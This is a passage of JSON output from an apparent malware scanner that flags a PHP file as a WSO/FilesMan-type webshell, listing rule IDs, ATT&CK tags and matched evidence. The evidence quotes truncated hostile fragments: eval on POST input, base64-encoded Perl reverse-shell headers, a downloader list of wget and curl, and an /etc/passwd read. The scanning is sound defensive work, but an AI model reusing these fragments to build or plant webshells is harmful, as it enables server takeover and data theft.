], "i": "objectives/execution/interpreter/eval/dynamic::eval-transformed-code", "l": 3 }, { "c": 1.0, "d": "javascript code embedded in string", "e": [ "Detected javascript at offset 0x1b5e", "Detected javascript at offset 0x1b5f", "Detected javascript at offset 0x1e6c", "Detected javascript at offset 0x1e6b" ], "i": "metadata/lang/embedded::javascript", "l": 2 }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "value" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-8", "l": 1 }, { "c": 0.30000001192092896, "d": "for loop (AST)", "e": [ "for(i=0;i\u003cd.mf.elements.length;i++)\r\n\t\t\tparams += '\u0026'+d.mf.elements[i].name+'='+encodeURIComponent(d..." ], "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast", "l": 2 }, { "c": 1.0, "d": "JavaScript length property", "e": [ "length" ], "i": "metadata/lang/scripted::length-prop", "l": 1 }, { "c": 0.699999988079071, "d": "URL-encodes data via encodeURIComponent", "e": [ "encodeURIComponent" ], "i": "micro-behaviors/data/encode/url::encode-uri-component-call", "l": 2 }, { "a": "T1539", "c": 0.8199999928474426, "d": "Programmatically submits form", "e": [ ".submit(" ], "i": "objectives/collection/stealer/browser::dom-submit-call", "l": 1 }, { "c": 0.30000001192092896, "d": "for loop (content)", "e": [ "\tfor(" ], "i": "micro-behaviors/data/control-flow/analysis::for-loop-content", "l": 2 }, { "c": 0.800000011920929, "d": "Short sidecar-sized source", "e": [ "text.total_lines = 20.00", "text.total_lines = 18.00" ], "i": "metadata/package/config::short-sidecar-file", "l": 1 }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "document" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5", "l": 1 }, { "a": "T1041", "c": 0.800000011920929, "d": "Regex component marker", "e": [ "post" ], "i": "objectives/exfiltration/http/upload::system-data-post-platform--rx-8", "l": 1 }, { "a": "T1195.002", "c": 0.6499999761581421, "d": "Small Python wrapper module", "e": [ "text.total_lines = 15.00" ], "i": "objectives/supply-chain/impersonation/deprecated::small-python-wrapper", "l": 1 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Low comment line count", "e": [ "comments.lines = 0.00" ], "i": "objectives/anti-static/obfuscation/tools/signature::low-comment-line-count", "l": 1, "m": "E1014" }, { "a": "T1059", "c": 0.4000000059604645, "d": "eval() call (Python)", "e": [ "eval" ], "i": "objectives/execution/interpreter/eval/invoke::eval-call-python", "l": 3, "m": "E1059" }, { "c": 0.949999988079071, "d": "Few generated table functions", "e": [ "functions.total = 0.00" ], "i": "metadata/lang/source::windows-def-function-table", "l": 1 }, { "c": 1.0, "d": "python code embedded in string", "e": [ "Detected python at offset 0x20b9" ], "i": "metadata/lang/embedded::python", "l": 2 }, { "c": 0.8999999761581421, "d": "Decoded unicode-escape content", "e": [ "$ch = curl_init(\"file://\".$_POST['p2'].\" \u003cunicode-escape\u003e" ], "i": "metadata/encoded-payload/unicode-escape", "l": 2 }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "#!/usr/bin/perl use Socket; $iaddr=ine \u003cbase64\u003e", "#!/usr/bin/perl $SHELL=\"/bin/sh -i\"; i \u003cbase64\u003e", "$visitc = $_COOKIE[\"visits\"]; if ($visit \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "Webshell FilesMan", "e": [ "\u003c128 bytes\u003e", "\u003c126 bytes\u003e" ], "i": "third_party/JPCERT/filesman/webshell_filesman_base64", "l": 4 }, { "c": 0.8999999761581421, "d": "Detects the WSO webshells", "e": [ "gcc','lcc','cc','ld','make','php", "(($p \u0026 0x0008) ? (($p \u0026 0x0400)", "set(a,c,p1,p2,p3,charset)" ], "i": "third_party/Sekoia/Webshell/Wso/Webshell/Strings", "l": 5 }, { "c": 0.8999999761581421, "d": "Web Shell - file r57142.php", "e": [ "$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');" ], "i": "third_party/SigBase/Webshell/PHP/R57142", "l": 5 }, { "c": 0.8999999761581421, "d": "Web Shell - file 404.php", "e": [ "\u003cspan\u003ePosix_getpwuid (\"Read\" /etc/passwd)" ], "i": "third_party/SigBase/Webshell/PHP", "l": 5 }, { "c": 0.8999999761581421, "d": "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php", "e": [ "$opt_charsets .= '\u003coption value=\"'.$item.'\" '.($_POST['charset']==$item?'selec", ".'\u003c/td\u003e\u003ctd\u003e\u003ca href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na" ], "i": "third_party/SigBase/Webshell/Wso2/5/1/Wso2/5/Wso2", "l": 5 }, { "c": 0.8999999761581421, "d": "Semi-Auto-generated - from files multiple_php_webshells", "e": [ "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI", "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0" ], "i": "third_party/SigBase/Multiple/Php/Webshells", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings", "e": [ "\u003c?", "escapeshellarg", "\u003c?php", "_POST[", "addslashes" ], "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic", "l": 5 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "BvcGVu", "leGVjd", "\u003c?", "base64_decode", "N5c3Rlb", "\u003c?php", "leGVj" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_POST" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell which directly eval()s obfuscated string", "e": [ "eval(base64_decode(", "\u003c?php", "\u003c?" ], "i": "third_party/SigBase/WEBSHELL/PHP/Gzinflated", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "$cwd[strlen($", "eval(", "\u003c?php", "$_SESSION[md5($", "\u003c?" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "Webshell which sends eval/assert via GET", "e": [ "$_POST['p1']($_POST[" ], "i": "third_party/SigBase/WEBSHELL/PHP/Function/Via/Get", "l": 5 } ], "sha": "248eec777484e7dabe079448e40cd366602d5626f472198cfe098a6d1906dcce", "path": "dbf6319cca80e0f2a2d225ada83fbab0", "type": "php" } ], "tv": "bef72" } }